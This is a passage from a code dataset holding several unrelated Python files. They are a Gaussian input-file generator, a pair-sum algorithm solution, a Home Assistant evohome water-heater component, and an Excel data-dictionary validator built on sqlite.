get_xyzR_lines(dimer_array_t3,file_description+'_t3')\r\n    line_list_dimer_t4 = get_xyzR_lines(dimer_array_t4,file_description+'_t4')\r\n    line_list_dimer_i01 = get_xyzR_lines(dimer_array_i01,file_description+'_i01')\r\n    line_list_dimer_ip1 = get_xyzR_lines(dimer_array_ip1,file_description+'_ip1')\r\n    line_list_dimer_ip2 = get_xyzR_lines(dimer_array_ip2,file_description+'_ip2')\r\n    \r\n    line_list_dimer_i02 = get_xyzR_lines(dimer_array_i02,file_description+'_i02')\r\n    line_list_dimer_ip3 = get_xyzR_lines(dimer_array_ip3,file_description+'_ip3')\r\n    line_list_dimer_ip4 = get_xyzR_lines(dimer_array_ip4,file_description+'_ip4')\r\n    \r\n    line_list_dimer_it1 = get_xyzR_lines(dimer_array_it1,file_description+'_it1')\r\n    line_list_dimer_it2 = get_xyzR_lines(dimer_array_it2,file_description+'_it2')\r\n    line_list_dimer_it3 = get_xyzR_lines(dimer_array_it3,file_description+'_it3')\r\n    line_list_dimer_it4 = get_xyzR_lines(dimer_array_it4,file_description+'_it4')\r\n\r\n    if monomer_name in MONOMER_LIST and not(isInterlayer):##隣接8分子について対称性より3分子でエネルギー計算\r\n        gij_xyz_lines = ['$ RunGauss\\n'] + line_list_dimer_t1 + ['\\n\\n--Link1--\\n'] + line_list_dimer_p1 + ['\\n\\n--Link1--\\n'] + ['\\n\\n\\n']\r\n    elif monomer_name in MONOMER_LIST and isInterlayer:\r\n        gij_xyz_lines = ['$ RunGauss\\n'] + line_list_dimer_i01 + ['\\n\\n--Link1--\\n'] + line_list_dimer_ip1+ ['\\n\\n--Link1--\\n'] + line_list_dimer_ip2 + ['\\n\\n--Link1--\\n'] + line_list_dimer_it1 + ['\\n\\n--Link1--\\n'] + line_list_dimer_it2 + ['\\n\\n--Link1--\\n'] + line_list_dimer_it3 + ['\\n\\n--Link1--\\n'] + line_list_dimer_it4 + ['\\n\\n--Link1--\\n'] + line_list_dimer_i02 + ['\\n\\n--Link1--\\n'] + line_list_dimer_ip3+ ['\\n\\n--Link1--\\n'] + line_list_dimer_ip4  + ['\\n\\n\\n']##2層目9分子\r\n    elif monomer_name=='mono-C9-BTBT':##tshaped ４分子を全て計算\r\n        gij_xyz_lines = ['$ RunGauss\\n'] + line_list_dimer_p1 + ['\\n\\n--Link1--\\n'] + line_list_dimer_t1 + ['\\n\\n--Link1--\\n'] + line_list_dimer_t2 + ['\\n\\n--Link1--\\n'] + line_list_dimer_t3 + ['\\n\\n--Link1--\\n'] + line_list_dimer_t4 + ['\\n\\n\\n']\r\n    \r\n    file_name = get_file_name_from_dict(monomer_name,params_dict)\r\n    os.makedirs(os.path.join(auto_dir,'gaussian'),exist_ok=True)\r\n    gij_xyz_path = os.path.join(auto_dir,'gaussian',file_name)\r\n    with open(gij_xyz_path,'w') as f:\r\n        f.writelines(gij_xyz_lines)\r\n    \r\n    return file_name\r\n\r\ndef get_file_name_from_dict(monomer_name,paras_dict):\r\n    file_name = ''\r\n    file_name += monomer_name\r\n    for key,val in paras_dict.items():\r\n        if key in ['a','b','cx','cy','cz','theta','R3','R4']:\r\n            val = np.round(val,2)\r\n        elif key in ['A1','A2']:#,'theta']:\r\n            val = int(val)\r\n        file_name += '_{}={}'.format(key,val)\r\n    return file_name + '.inp'\r\n    \r\ndef exec_gjf(auto_dir, monomer_name, params_dict, machine_type,isInterlayer,isTest=True):\r\n    inp_dir = os.path.join(auto_dir,'gaussian')\r\n    xyz_dir = os.path.join(auto_dir,'gaussview')##.xyz fileの格納\r\n    print(params_dict)\r\n    \r\n    xyzfile_name = make_xyz(monomer_name, params_dict)##ベース\r\n    xyzfile_name1 = xyzfile_name + '_1.xyz'##2パターン\r\n    xyzfile_name2 = xyzfile_name + '_2.xyz'\r\n    xyz_path1 = os.path.join(xyz_dir,xyzfile_name1)\r\n    xyz_path2 = os.path.join(xyz_dir,xyzfile_name2)\r\n    xyz_list1 = make_xyzfile1(monomer_name,params_dict)\r\n    with open(xyz_path1,'w') as f:\r\n        f.writelines(xyz_list1)\r\n    xyz_list2 = make_xyzfile2(monomer_name,params_dict)\r\n    with open(xyz_path2,'w') as f:\r\n        f.writelines(xyz_list2)\r\n\r\n    file_name = make_gjf_xyz(auto_dir, monomer_name, params_dict, isInterlayer)\r\n    cc_list = get_one_exe(file_name,machine_type)\r\n    sh_filename = os.path.splitext(file_name)[0]+'.r1'\r\n    sh_path = os.path.join(inp_dir,sh_filename)\r\n    with open(sh_path,'w') as f:\r\n        f.writelines(cc_list)\r\n    if not(isTest):\r\n        subprocess.run(['qsub',sh_path])\r\n    log_file_name = os.path.splitext(file_name)[0]+'.log'\r\n    return log_file_name\r\n    \r\n############################################################################################","sub_path":"src/make_para_1.py","file_name":"make_para_1.py","file_ext":"py","file_size_in_byte":19523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"123725656","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\nM = int(input())\n\nmaterials_list = list(map(int, input().split()))\nmaterials_set = set(materials_list)\ncnt = 0\nfor num in materials_list:\n    first = num\n    last = M - first\n    if last in materials_set:\n        cnt += 1\n\nprint(cnt//2)\n\n\"\"\"\n풀이\n재료들은 고유한 번호를 가지고 있으므로 중복이 없다. 따라서 재료들을 set에 저장한 후 재료쌍을 찾아주면 된다.\n하지만 이렇게 하면 /2를 해주어야 한다. 만약 4를 찾아야 하고 재료가 1,3이라면 1과 3에서 한번씩 cnt에서 더해버리니 /2를 해주어야한다.\n\n처음 코드\n처음 든 생각이 그냥 이중 for문 쓰면 될 거 같아서 했는데 시간초과가 났다.\n\nmaterials = list(map(int, input().split()))\ncnt = 0\nfor i in range(len(materials)-1):\n    first = materials[i]\n    for j in range(i+1, len(materials)):\n        last = materials[j]\n        if first + last == M:\n            cnt += 1\n\"\"\"","sub_path":"season2/season2/week4/minkyu/1940.py","file_name":"1940.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"219898705","text":"\"\"\"Support for WaterHeater devices of (EMEA/EU) Honeywell evohome systems.\n\nSpecifically supports a DHW controller (the temperature control system is\nsupported as a Climate device).\n\nFor more details about this platform, please refer to the documentation at\nhttps://github.com/zxdavb/evohome/\n\"\"\"\n# pylint: disable=deprecated-method, unused-import; ZXDEL\n\n__version__ = '0.9.5'\n\nfrom datetime import datetime, timedelta\nimport logging\n\nimport requests.exceptions\n\n# from homeassistant.components.climate import (\n    # ClimateDevice\n# )\nfrom homeassistant.components.water_heater import (\n    # SUPPORT_AWAY_MODE, SUPPORT_TARGET_TEMPERATURE,\n    SUPPORT_OPERATION_MODE,\n    WaterHeaterDevice\n)\nfrom homeassistant.const import (\n#   CONF_SCAN_INTERVAL,\n    STATE_OFF, STATE_ON,\n#   ATTR_TEMPERATURE,\n)\nfrom custom_components.evohome_cc import (\n    # STATE_AUTO, STATE_ECO, STATE_MANUAL,\n\n    DATA_EVOHOME, DISPATCHER_EVOHOME,\n    CONF_LOCATION_IDX, CONF_USE_HEURISTICS, CONF_USE_SCHEDULES,\n    # CONF_AWAY_TEMP, CONF_HIGH_PRECISION, CONF_OFF_TEMP,\n    CONF_DHW_TEMP, DHW_STATES,\n\n    GWS, TCS,\n    # EVO_PARENT, EVO_CHILD, EVO_ZONE, EVO_DHW,\n\n    EVO_AWAY,\n    # EVO_RESET, EVO_AUTO, EVO_AUTOECO, EVO_DAYOFF, EVO_CUSTOM, EVO_HEATOFF,\n    EVO_FOLLOW, EVO_TEMPOVER, EVO_PERMOVER, EVO_FROSTMODE,\n\n    TCS_STATE_TO_HA, HA_STATE_TO_TCS, TCS_OP_LIST,\n    ZONE_STATE_TO_HA, HA_STATE_TO_ZONE, ZONE_OP_LIST,\n\n    # EvoDevice,\n    EvoChildDevice,\n)\nATTR_UNTIL = 'until'\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_platform(hass, hass_config, async_add_entities,\n                               discovery_info=None):\n    \"\"\"Create the DHW controller.\"\"\"\n    evo_data = hass.data[DATA_EVOHOME]\n\n    client = evo_data['client']\n    loc_idx = evo_data['params'][CONF_LOCATION_IDX]\n\n    tcs_obj_ref = client.locations[loc_idx]._gateways[0]._control_systems[0]    # noqa E501; pylint: disable=protected-access\n\n    _LOGGER.info(\n        \"setup(): Found DHW device, id: %s (%s)\",\n        tcs_obj_ref.hotwater.zoneId,  # same has .dhwId\n        tcs_obj_ref.hotwater.zone_type\n    )\n\n    dhw = EvoDHW(evo_data, client, tcs_obj_ref.hotwater)\n\n    async_add_entities([dhw], update_before_add=False)\n\n\nclass EvoDHW(EvoChildDevice, WaterHeaterDevice):\n    \"\"\"Base for a Honeywell evohome DHW controller (aka boiler).\"\"\"\n\n    # pylint: disable=abstract-method\n\n    def __init__(self, evo_data, client, obj_ref):\n        \"\"\"Initialize the evohome DHW controller.\"\"\"\n        super().__init__(evo_data, client, obj_ref)\n\n        self._config = evo_data['config'][GWS][0][TCS][0]['dhw']\n\n        self._operation_list = ZONE_OP_LIST\n\n        self._supported_features = \\\n            SUPPORT_OPERATION_MODE\n\n        _LOGGER.debug(\n            \"__init__(%s), self._config = %s\",\n            self._id + \" [\" + self._name + \"]\",\n            self._config\n        )\n\n    @property\n    def target_temperature(self):\n        \"\"\"TBD: Return None, as there is no target temp exposed via the api.\"\"\"\n        temp = self._params[CONF_DHW_TEMP]\n\n        _LOGGER.debug(\"target_temperature(%s) = %s\", self._id, temp)\n        return temp\n\n    def _set_dhw_state(self, state=None, mode=None, until=None):\n        \"\"\"Set the new state of a DHW controller.\n\n        Turn the DHW on/off for an hour, until next setpoint, or indefinitely.\n        The setpoint feature requires 'use_schedules' = True.\n\n        Keyword arguments can be:\n          - state  = \"On\" | \"Off\" (no default)\n          - mode  = \"TemporaryOverride\" (default) | \"PermanentOverride\"\n          - until.strftime('%Y-%m-%dT%H:%M:%SZ') is:\n            - +1h for TemporaryOverride if not using schedules\n            - next setpoint for TemporaryOverride if using schedules\n            - ignored for PermanentOverride\n        \"\"\"\n        _LOGGER.warn(\n            \"_set_dhw_state(%s): state=%s, mode=%s, until=%s\",\n            self._id,\n            state,\n            mode,\n            until\n        )\n\n        if state is None:\n            state = self._status['stateStatus']['state']\n        if mode is None:\n            mode = EVO_TEMPOVER\n\n        if mode != EVO_TEMPOVER:\n            until = None\n        else:\n            if until is None:\n                if self._params[CONF_USE_SCHEDULES]:\n                    until = self._next_switchpoint_time\n                else:\n                    until = datetime.now() + timedelta(hours=1)\n\n        if until is not None:\n            until = until.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n        data = {'State': state, 'Mode': mode, 'UntilTime': until}\n\n        _LOGGER.warn(\n            \"_set_dhw_state(%s): API call [1 request(s)]: dhw._set_dhw(%s)...\",\n            self._id,\n            data\n        )\n\n        try:\n            self._obj._set_dhw(data)                                            # noqa: E501; pylint: disable=protected-access\n\n        except requests.exceptions.HTTPError as err:\n            if not self._handle_exception(err):\n                raise\n\n        if self._params[CONF_USE_HEURISTICS]:\n            self._status['stateStatus']['state'] = state\n            self._status['stateStatus']['mode'] = mode\n            self.async_schedule_update_ha_state(force_refresh=False)\n\n    @property\n    def state(self):\n        \"\"\"Return the state of a DHW controller.\n\n        Reportable State can be:\n          - On, working to raise current temp until equal to target temp\n          - Off, current temp is ignored\n          - Away, Off regardless of scheduled state\n        \"\"\"\n        evo_data = self.hass.data[DATA_EVOHOME]\n\n        tcs_op_mode = evo_data['status']['systemModeStatus']['mode']\n        dhw_op_mode = self._status['stateStatus']['mode']\n\n        # Determine the reported state\n        dhw_state = self._status['stateStatus']['state']\n\n        if dhw_state == DHW_STATES[STATE_ON]:\n            state = STATE_ON\n        else:  # dhw_state == DHW_STATES[STATE_OFF]:\n            state = STATE_OFF\n\n        # If possible, use inheritance to override reported state\n        if dhw_op_mode == EVO_FOLLOW:\n            if tcs_op_mode == EVO_AWAY:\n                state = EVO_AWAY  # a special form of 'Off'\n\n        # Perform a sanity check & warn if it fails\n        if state == EVO_AWAY:\n            if dhw_state != DHW_STATES[STATE_OFF]:\n                _LOGGER.warning(\n                    \"state(%s) = %s, via inheritance (via api = %s)\",\n                    self._id,\n                    state,\n                    dhw_state\n                )\n            else:\n                _LOGGER.debug(\n                    \"state(%s) = %s, via inheritance (via api = %s)\",\n                    self._id,\n                    state,\n                    dhw_state\n                )\n        else:\n            _LOGGER.debug(\"state(%s) = %s\", self._id, state)\n        return state\n\n    @property\n    def is_on(self):\n        \"\"\"Return True if DHW is on (albeit regulated by thermostat).\"\"\"\n        is_on = (self.state == DHW_STATES[STATE_ON])\n\n        _LOGGER.debug(\"is_on(%s) = %s\", self._id, is_on)\n        return is_on\n\n    def turn_on(self):\n        \"\"\"Turn DHW on for an hour, until next setpoint, or indefinitely.\"\"\"\n        mode = EVO_TEMPOVER\n        until = None\n\n        _LOGGER.debug(\n            \"turn_on(%s, mode=%s, until=%s)\",\n            self._id,\n            mode,\n            until\n        )\n\n        self._set_dhw_state(DHW_STATES[STATE_ON], mode, until)\n\n    def turn_off(self):\n        \"\"\"Turn DHW off for an hour, until next setpoint, or indefinitely.\"\"\"\n        mode = EVO_TEMPOVER\n        until = None\n\n        _LOGGER.debug(\n            \"turn_off(%s, mode=%s, until=%s)\",\n            self._id,\n            mode,\n            until\n        )\n\n        self._set_dhw_state(DHW_STATES[STATE_OFF], mode, until)\n\n    def set_operation_mode(self, operation_mode):\n        \"\"\"Set new operation mode for a DHW controller.\"\"\"\n        _LOGGER.debug(\n            \"set_operation_mode(%s, operation_mode=%s)\",\n            self._id,\n            operation_mode\n        )\n\n# FollowSchedule - return to scheduled target temp (indefinitely)\n        if operation_mode == EVO_FOLLOW:\n            state = ''\n        else:\n            state = self._status['stateStatus']['state']\n\n# PermanentOverride - override target temp indefinitely\n# TemporaryOverride - override target temp, for a period of time\n        if operation_mode == EVO_TEMPOVER:\n            if self._params[CONF_USE_SCHEDULES]:\n                until = self._next_switchpoint_time\n            else:\n                until = datetime.now() + timedelta(hours=1)\n\n            until = until.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n        else:\n            until = None\n\n        self._set_dhw_state(state, operation_mode, until)\n","sub_path":"water_heater/evohome_cc.py","file_name":"evohome_cc.py","file_ext":"py","file_size_in_byte":8672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"261233882","text":"# -*- coding:utf-8 -*-\nimport xlrd\nimport xlsxwriter\nimport sqlite3\nimport re\nimport sys\nimport os\n\n\n# input_file = 'NDS1560.xlsx'\n\n\n# input_file = '数据字典_V0.1.xlsx'\n\n\ndef get_sheet_data_by_name(file_name, sheet_name):\n    book = xlrd.open_workbook(file_name)\n    if sheet_name in book.sheet_names():\n        return book.sheet_by_name(sheet_name)\n    else:\n        return None\n\n\ndef create_table_sql(type):\n    table_info = '''\n    create table table_info(\n      sys_name varchar (32),\n      sys_code varchar (32),\n      sys_module varchar (32),\n      schema varchar (32),\n      tab_prefix varchar (32),\n      tab_enname varchar (64),\n      tab_zhname varchar (1024),\n      tab_desc   varchar (1024),\n      tab_type   varchar (32),\n      exists_pkey varchar (1),\n      importance_degree varchar (8),\n      primary_key varchar (1024),\n      public_key  varchar (1024),\n      last_date   integer\n    )\n    '''\n\n    column_info = '''\n    create table column_info(\n      sys_name varchar (32),\n      sys_code varchar (32),\n      sys_module varchar (32),\n      schema varchar (32),\n      tab_prefix varchar (32),\n      tab_enname varchar (64),\n      tab_zhname varchar (1024),\n      col_no   integer,\n      col_enname varchar (32),\n      col_zhname varchar (32),\n      col_type varchar (8),\n      is_primary varchar (1024),\n      allowed_null  varchar (1024),\n      is_code   varchar (32),\n      cite_code varchar (32)\n    )\n    '''\n    code_info = '''\n    create table code_info(\n      sys_name varchar (32),\n      sys_code varchar (32),\n      sys_module varchar (32),\n      schema varchar (32),\n      tab_prefix varchar (32),\n      tab_enname varchar (64),\n      tab_zhname varchar (1024),\n      col_enname varchar (32),\n      col_zhname varchar (32),\n      col_type varchar (8),\n      value varchar (32),\n      desc varchar (1024)\n    )\n    '''\n    if type == 'table':\n        return table_info\n    elif type == 'column':\n        return column_info\n    elif type == 'code':\n        return code_info\n\n\ndef r01_tab(c):\n    \"\"\"表级信息存在空值\"\"\"\n    _rule_name = \"表级信息存在空值\"\n    c.execute('select * '\n              'from table_info '\n              'where sys_name == \\'\\' '\n              'or sys_code == \\'\\' '\n              'or sys_module == \\'\\' '\n              'or schema == \\'\\' '\n              'or tab_prefix == \\'\\' '\n              'or tab_zhname == \\'\\' '\n              'or exists_pkey == \\'\\' '\n              'or (exists_pkey == \\'Y\\' '\n              'and primary_key == \\'\\')')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r02_col(c):\n    \"\"\"字段级信息存在空值\"\"\"\n    _rule_name = \"字段级信息存在空值\"\n    c.execute('select * '\n              'from column_info '\n              'where tab_enname == \\'\\' '\n              'or col_no == \\'\\' '\n              'or col_enname == \\'\\' '\n              'or col_zhname == \\'\\' '\n              'or col_type == \\'\\' '\n              'or is_primary == \\'\\' '\n              'or allowed_null == \\'\\' '\n              'or is_code == \\'\\' '\n              'or cite_code == \\'\\'')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r03_cod(c):\n    \"\"\"代码级信息存在空值\"\"\"\n    _rule_name = \"代码级信息存在空值\"\n    c.execute('select * '\n              'from code_info '\n              'where tab_enname == \\'\\' '\n              'or col_enname == \\'\\' '\n              'or value == \\'\\' '\n              'or desc == \\'\\'')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r04_tab(c):\n    \"\"\"表级信息表中文名存在非法字符\"\"\"\n    _rule_name = \"表级信息表中文名存在非法字符\"\n    c.execute('select * from table_info')\n    for res in c.fetchall():\n        star = res[6]\n        rule = re.compile(\"[^a-zA-Z0-9\\u4e00-\\u9fa5]\")\n        if star != rule.sub('', star) or ' ' in star:\n            yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r05_col(c):\n    \"\"\"字段级信息字段中文名存在非法字符\"\"\"\n    _rule_name = \"字段级信息字段中文名存在非法字符\"\n    c.execute('select * from column_info')\n    for res in c.fetchall():\n        star = res[9]\n        rule = re.compile(\"[^a-zA-Z0-9\\u4e00-\\u9fa5]\")\n        if star != rule.sub('', star) or ' ' in star:\n            yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r06_cod(c):\n    \"\"\"代码级信息代码值存在非法字符\"\"\"\n    _rule_name = \"代码级信息代码值存在非法字符\"\n    c.execute('select * from code_info')\n    for res in c.fetchall():\n        # star1 = res[11]\n        star2 = res[10]\n        rule = re.compile(\"[^a-zA-Z0-9\\u4e00-\\u9fa5]\")\n        # if star1 != rule.sub('', star1) or star2 != rule.sub('', star2):\n        if star2 != rule.sub('', star2):\n            yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r07_tab(c):\n    \"\"\"表级信息存在重复表\"\"\"\n    _rule_name = \"表级信息存在重复表\"\n    c.execute('select * '\n              'from table_info '\n              'where tab_enname in '\n              '(select tab_enname '\n              'from table_info '\n              'group by tab_enname '\n              'having count(*) >= 2) '\n              'order by tab_enname')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r08_col(c):\n    \"\"\"字段级信息存在重复字段\"\"\"\n    _rule_name = \"字段级信息存在重复字段\"\n    c.execute('select * '\n              'from column_info '\n              'where (tab_enname||col_enname) '\n              'in (select tab_enname||col_enname '\n              'from column_info '\n              'group by tab_enname,col_enname '\n              'having count(*) >= 2 )'\n              'order by tab_enname, col_no')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r09_cod(c):\n    \"\"\"代码级信息存在重复代码值\"\"\"\n    _rule_name = \"代码级信息存在重复代码值\"\n    c.execute('select * '\n              'from code_info '\n              'where (tab_enname||col_enname||value) '\n              'in (select tab_enname||col_enname||value '\n              'from code_info '\n              'group by tab_enname,col_enname,value '\n              'having count(*) > 1) '\n              'order by tab_enname, col_enname, value')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r10_tab(c):\n    \"\"\"表级信息中表的主键字段在字段级信息中不存在\"\"\"\n    _rule_name = \"表级信息中表的主键字段在字段级信息中不存在\"\n    c.execute('select tab_enname,primary_key||\\';\\'||public_key, * '\n              'from table_info '\n              'where tab_enname != \\'\\'')\n    temp = []\n    for res in c.fetchall():\n        # 循环之前清空列表\n        del temp[:]\n        # 索引为空时直接跳过\n        if res[1] != ';':\n            for j in re.findall(r'[(](.*?)[)]', res[1]):\n                temp.extend(j.split(','))\n            index_keys = tuple(set(temp))\n            tab_enname = res[0]\n            for k in index_keys:\n                c.execute('select count(*) from column_info where tab_enname == \\'{0}\\' '\n                          'and col_enname == \\'{1}\\''.format(tab_enname, k))\n                keys_count = c.fetchall()[0][0]\n\n                if keys_count == 0:\n                    yield sys._getframe().f_code.co_name, _rule_name, res[2:]\n\n\ndef r11_col(c):\n    \"\"\"字段级信息中字段长度为1未标记为代码字段\"\"\"\n    _rule_name = '字段级信息中字段长度为1未标记为代码字段'\n    c.execute('select col_type, * from column_info '\n              'where is_code == \\'N\\' '\n              'and tab_enname != \\'\\' '\n              'and col_enname != \\'\\'')\n    for res in c.fetchall():\n        # if res[0].upper()[-7:] in ('CHER(1)', 'CTER(1)'):\n        if res[0].upper()[-3:] == '(1)':\n            yield sys._getframe().f_code.co_name, _rule_name, res[1:]\n\n\ndef r12_col(c):\n    \"\"\"字段级信息标记为码值的字段只有一个码值\"\"\"\n    _rule_name = '字段级信息标记为码值的字段只有一个码值'\n    c.execute('select tab_enname, col_enname, col_type, * '\n              'from column_info '\n              'where is_code == \\'Y\\' '\n              'and tab_enname != \\'\\' '\n              'and col_enname != \\'\\'')\n\n    for res in c.fetchall():\n        c.execute('select count(*) '\n                  'from code_info '\n                  'where tab_enname == \\'{0}\\' '\n                  'and col_enname == \\'{1}\\''.format(res[0], res[1]))\n        for j in c.fetchall():\n            if j[0] == 1:\n                yield sys._getframe().f_code.co_name, _rule_name, res[1:]\n\n\ndef r13_col(c):\n    \"\"\"字段级信息中非代码字段存在码值\"\"\"\n    _rule_name = '字段级信息中非代码字段存在码值'\n    c.execute('select tab_enname, col_enname, col_type, * '\n              'from column_info '\n              'where is_code == \\'N\\' '\n              'and tab_enname != \\'\\' '\n              'and col_enname != \\'\\'')\n    for res in c.fetchall():\n        c.execute('select count(*) '\n                  'from code_info '\n                  'where tab_enname == \\'{0}\\' '\n                  'and col_enname == \\'{1}\\''.format(res[0], res[1]))\n        for j in c.fetchall():\n            if j[0] > 0:\n                yield sys._getframe().f_code.co_name, _rule_name, res[3:]\n\n\ndef r14_tab(c):\n    \"\"\"表级信息中存在的表没有字段信息\"\"\"\n    _rule_name = \"表级信息中存在的表没有字段信息\"\n    c.execute('select tab_enname, * '\n              'from table_info '\n              'where tab_enname != \\'\\'')\n    for res in c.fetchall():\n        c.execute('select count(*) '\n                  'from column_info '\n                  'where tab_enname == \\'{0}\\''.format(res[0]))\n        col_count = c.fetchall()[0][0]\n        if col_count == 0:\n            yield sys._getframe().f_code.co_name, _rule_name, res[1:]\n\n\ndef r15_col(c):\n    \"\"\"字段级信息中存在的表没有表信息\"\"\"\n    _rule_name = \"字段级信息中存在的表没有表信息\"\n    c.execute('select tab_enname, * '\n              'from column_info '\n              'where tab_enname != \\'\\' '\n              'and col_enname != \\'\\'')\n    for res in c.fetchall():\n        c.execute('select count(*) '\n                  'from table_info '\n                  'where tab_enname == \\'{0}\\''.format(res[0]))\n        col_count = c.fetchall()[0][0]\n        if col_count == 0:\n            yield sys._getframe().f_code.co_name, _rule_name, res[1:]\n\n\ndef r16_cod(c):\n    \"\"\"代码级信息中代码值和注释完全相同\"\"\"\n    _rule_name = \"代码级信息中代码值和注释完全相同\"\n    c.execute('select * '\n              'from code_info '\n              'where value == desc '\n              'and value != \\'\\'')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r17_tab(c):\n    \"\"\"表级信息中表英文名和中文名相同\"\"\"\n    _rule_name = \"表级信息中表英文名和中文名相同\"\n    c.execute('select * '\n              'from table_info '\n              'where tab_enname == tab_zhname '\n              'and tab_enname != \\'\\'')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r18_col(c):\n    \"\"\"字段级信息中字段英文名和中文名相同\"\"\"\n    _rule_name = \"字段级信息中字段英文名和中文名相同\"\n    c.execute('select * '\n              'from column_info '\n              'where col_enname == col_zhname '\n              'and col_enname != \\'\\' '\n              'and tab_enname != \\'\\'')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef r19_col(c):\n    \"\"\"字段级信息字段中文名相同但是否代码字段标识不同\"\"\"\n    _rule_name = \"字段级信息字段中文名相同但是否代码字段标识不同\"\n    c.execute('select distinct a.* from column_info a, column_info b '\n              'where a.col_zhname == b.col_zhname '\n              'and a.is_code != b.is_code '\n              'and a.col_zhname != \\'\\' '\n              'and a.is_code != \\'\\' '\n              'and b.is_code != \\'\\' '\n              'order by a.col_zhname, a.tab_enname, a.col_enname')\n    for res in c.fetchall():\n        yield sys._getframe().f_code.co_name, _rule_name, res\n\n\ndef main(input_file, func_list=None):\n    # 创建数据库\n    con = sqlite3.connect(':memory:')\n    # con = sqlite3.connect('comb.db')\n    cur = con.cursor()\n    # 创建表级信息数据表\n    cur.executescript(create_table_sql('table'))\n    # 创建字段级信息数据表\n    cur.executescript(create_table_sql('column'))\n    # 创建代码级信息数据表\n    cur.executescript(create_table_sql('code'))\n\n    # 加载表级信息到内存\n    sheet = get_sheet_data_by_name(input_file, '表级信息')\n    if sheet:\n        for i in range(2, sheet.nrows):  # 指定从1开始，到最后一列，跳过表头\n            nos = []\n            for j in range(sheet.ncols):\n                # 判断python读取的返回类型\n                # 0 --empty,1 --string, 2 --number(都是浮点),\n                # 3 --date, 4 --boolean, 5 --error\n                ctype = sheet.cell(i, j).ctype\n                # 获取单元格的值\n                no = sheet.cell(i, j).value\n                if ctype == 2:\n                    # 将浮点转换成整数再转换成字符串\n                    no = str(int(no))\n                nos.append(no)\n            cur.execute('insert into table_info values(?,?,?,?,?,?,?,?,?,?,?,?,?,?)',\n                        (nos[0], nos[1], nos[2], nos[3], nos[4], nos[5], nos[6], nos[7], nos[8], nos[9],\n                         nos[10], nos[11], nos[12], nos[13]))\n        # 跳过表头取表数据\n        # for r in range(2, sheet.nrows):\n        #     d = sheet.row_values(r)\n        #     cur.execute('insert into table_info values(?,?,?,?,?,?,?,?,?,?,?,?,?,?)',\n        #                 (d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7], d[8], d[9],\n        #                  d[10], d[11], d[12], d[13]))\n    else:\n        raise Exception('表级信息表不存在')\n\n    # 加载字段级信息数据到内存\n    sheet = get_sheet_data_by_name(input_file, '字段级信息')\n    if sheet:\n        # 跳过表头取表数据\n        for i in range(2, sheet.nrows):  # 指定从1开始，到最后一列，跳过表头\n            nos = []\n            for j in range(sheet.ncols):\n                # 判断python读取的返回类型  0 --empty,1 --string, 2 --number(都是浮点), 3 --date, 4 --boolean, 5 --error\n                ctype = sheet.cell(i, j).ctype\n                # 获取单元格的值\n                no = sheet.cell(i, j).value\n                if ctype == 2:\n                    # 将浮点转换成整数再转换成字符串\n                    no = str(int(no))\n                nos.append(no)\n            cur.execute('insert into column_info values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)',\n                        (nos[0], nos[1], nos[2], nos[3], nos[4], nos[5], nos[6], nos[7], nos[8], nos[9], nos[10],\n                         nos[11], nos[12], nos[13], nos[14]))\n        # 跳过表头取表数据\n        # for r in range(2, sheet.nrows):\n        #     d = sheet.row_values(r)\n        #     cur.execute('insert into column_info values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)',\n        #                 (d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7], d[8], d[9], d[10],\n        #                  d[11], d[12], str(d[13]), d[14]))\n    else:\n        raise Exception('字段级信息表不存在')\n\n    # 加载代码级信息数据到内存\n    sheet = get_sheet_data_by_name(input_file, '代码级信息')\n    if sheet:\n        # 跳过表头取表数据\n        for i in range(2, sheet.nrows):  # 指定从1开始，到最后一列，跳过表头\n            nos = []\n            for j in range(sheet.ncols):\n                # 判断python读取的返回类型  0 --empty,1 --string, 2 --number(都是浮点), 3 --date, 4 --boolean, 5 --error\n                ctype = sheet.cell(i, j).ctype\n                # 获取单元格的值\n                no = sheet.cell(i, j).value\n                if ctype == 2:\n                    # 将浮点转换成整数再转换成字符串\n                    no = str(int(no))\n                nos.append(no)\n            # print(nos)\n            # 写入sqlite\n            cur.execute('insert into code_info values(?,?,?,?,?,?,?,?,?,?,?,?)',\n                        (nos[0], nos[1], nos[2], nos[3], nos[4], nos[5], nos[6], nos[7], nos[8], nos[9],\n                         nos[10], nos[11]))\n        # for r in range(2, sheet.nrows):\n        #     d = sheet.row_values(r)\n        #     print(d)\n        #     cur.execute('insert into code_info values(?,?,?,?,?,?,?,?,?,?,?,?)',\n        #                 (d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7], d[8], d[9],\n        #                  d[10], d[11]))\n    else:\n        raise Exception('代码级信息表不存在')\n\n    con.commit()\n\n    # 选择要执行的检查函数\n    if func_list is None:\n        func_list = [r01_tab, r02_col, r03_cod, r04_tab, r05_col, r06_cod,\n                     r07_tab, r08_col, r09_cod, r10_tab, r11_col, r12_col,\n                     